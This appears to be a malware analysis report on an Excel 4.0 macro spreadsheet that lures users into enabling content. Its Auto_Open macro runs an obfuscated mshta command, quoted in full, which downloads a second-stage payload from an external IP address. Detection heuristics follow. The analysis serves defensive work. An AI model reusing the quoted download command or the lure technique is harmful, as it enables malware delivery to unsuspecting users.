T1204.002 Malicious File: User Execution
T1059.005 Command and Scripting Interpreter: Visual Basic
T1105 Ingress Tool Transfer
The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The document body contains a lure to "Enable Editing" and "Enable Content" to view the protected content. The extracted XLM macro defines a string "cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html" which is then executed. This command downloads a second-stage payload from the specified URL. The obfuscation in the command string is minimal and reconstructs to a clear download command.
Heuristics 3

-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
